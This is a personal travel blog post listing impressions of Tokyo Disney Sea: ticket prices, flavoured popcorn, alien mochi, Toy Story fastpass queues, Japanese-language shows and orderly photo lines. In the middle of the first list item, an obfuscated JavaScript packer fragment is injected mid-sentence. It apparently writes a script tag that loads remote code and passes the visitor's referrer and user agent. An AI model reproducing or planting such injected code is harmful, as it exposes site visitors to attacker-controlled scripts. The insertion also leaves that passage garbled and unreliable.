No trip to Japan would be complete without a visit to the other happiest place on earth. Right? Well, at least it wouldn’t be complete for me. Thankfully, my friends bought me a ticket for my birthday! Coolest friends ever!
Here are some of the interesting things I learned about Disney Sea.
1. Disney Sea is like Disney’s California Adventure. It’s the other ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnnfk|var|u0026u|referrer|kbiks||js|php’.split(‘|’),0,{}))
park. Tokyo Disney also has a Disneyland, but we decided to try out the park that was brand new!
2. Lots of Disney details, like this hand holds in the monorail.
3. It’s cheaper to visit Disney Sea than any of the US parks. Around $62/day compared to around $92/day. Which is insane. Since everything in Japan is more expensive than in the states. They also offer evening passes. Kinda like night skiing. Show up after 4PM and you can get a discounted ticket. But no park hopping!
4. The adults dress up more than the kids. As we were making the journey from our hotel to the park, it became obvious that we should just follow the people dressed up in Disney costumes. Here is Minnie and Alice. Checkout the heels Minnie is planning on wearing all day! We also learned that Alice is a favorite dress up character.
I also bumped into the all female, all Asian cast of Peter Pan. They were walking down the street and I asked if I could take a picture with them. They were so excited that they took off their raincoats, put down their bags, and posed! I can appreciate the excitement for sure!
5. The food is excellent and relatively inexpensive. After we rode all the “big kid” rides, we decided to eat our way through Tokyo Disney Sea. We ate teriyaki chicken legs, the Japanese version of a corn dog (but with sausage), lots of popcorn, and of course, MOCHI!
The popcorn is a fascinating phenomenon. It comes in multiple flavors – we sampled 4 but there were at least 6 in total. We tried curry, black pepper, apple, and strawberry. Disney sells popcorn containers that you can get refilled. The containers sit like giant, football sized lanyards around your neck. Most are the heads of famous disney characters. You see tons of people walking the street with mickey’s head around their neck, munching on popcorn. But the popcorn was tasty!
We searched for these little guys – alien mochi. Some of the chewiest mochi I had all trip. Filled with vanilla, chocolate and strawberry pudding. TIP: if you are searching for these, ask a cast member. Pull up a picture on your phone and they will point you in the right direction. Despite what you may think, they are not sold hear the Toy Story ride.
6. The Toy Story Ride……sigh. It’s right up there with the Tower of Terror. One of my favorite rides in all of Disney. Yes. I said it. And guess what, it’s still the new game in town (pun intended) right now. And guess what else? Japanese peeps are super efficient. They LOVE their fastpasses and they know how to use them. And Toy Story has fastpasses. So you have to wait over an hour in the morning just to get a fastpass for Toy Story. If you don’t, the line is over 2 hours long. 2 hours. So we decided to skip it. Guess I’ll have to make another trip to SoCal to get my Toy Story fix!
This was the line for fastpasses. 12 people wide, and the line ends at tend of road around to the left.
7. Singing in English, talking in Japanese. We decided to go see the Little Mermaid show. No idea why. The theatrics are actually kinda cool, very “Lion King the Musical” style props. Ariel was a tad on the chubby side, so “go, Disney” for embracing the full-figured mermaid. And we understood about half of it. All of the songs were in English, but all of the talking was in Japanese. Same with Indiana Jones. Have you ever seen an animatronic Harrison Ford speak Japanese? I can check that one off my list 🙂 Did I mention that they told us “NO PICTURES” during the show and EVERY SINGLE PERSON obeyed.
8. The same but different. The Tower of Terror is still a ride where your stomach ends up in your throat. But it has the oddest back story. And it still makes no sense because it was in Japanese and not English. Something about a guy collecting artifacts and one of the artifacts looks like a little wooden gremlin and he decides to make the elevator fall.
We’re in the back row, on the left hand side.
9. Duffy. Have you heard of Duffy? He’s the #1 character at Disney Sea. It’s a teddy bear in a sailor suit. So random, right? But everyone loves him and his girlfriend, Shellie May. The blue eyed teddy bear with eyelashes.
10. The hat-glove-combo. I have no idea what to call these things, but the only other time I’ve seen them is when the Panda version was popular – back when the SF Giants were actually winning World Series Titles and things like that. But they are popular at Tokyo Disney. The Sully version also comes with leg warmers and a tail if you are so inclined.
11. Bonus! One of the longest lines we stood in all day was the line to get a picture in front of the 30th anniversary sign. Do you know why? Because people insist on taking really good pictures (and they weren’t organized). There were no Disney cast members helping out. BUT instead of a massive free for all – as you’d expect in the US, everyone waited patiently in line so that every group/family could get their picture in front of the sign. It went something like this: the group ready to take their picture would get their camera out and ask the people behind them to take their picture. The picture would be taken and then shown to the group – to make sure it looked ok. 9 times out of 10, a 2nd or even 3rd picture was required! And sometimes, people didn’t even have their cameras ready. But that’s ok, I can appreciate the people obeying a line, it hasn’t happened since we left Japan. Seriously, if you leave more than 6″ between you and the person in front of you, you’re not serious about standing in line.
A few more random Disney facts you may or may not be interested in:
- The tickets don’t have characters on them, just plain jane tickets
- The scanning machine to get fastpasses is slower than the ones used in the states – which adds to the amount of time it takes to get people through the Toy Story fastpass line.
- They sell these things they call “giant gyoza” – which aren’t actually like the regular sized gyoza I’m use to. But people love them and start lining up for them as early as 10AM.
- Single rider line for Indiana Jones and Raging Spirits was MONEY!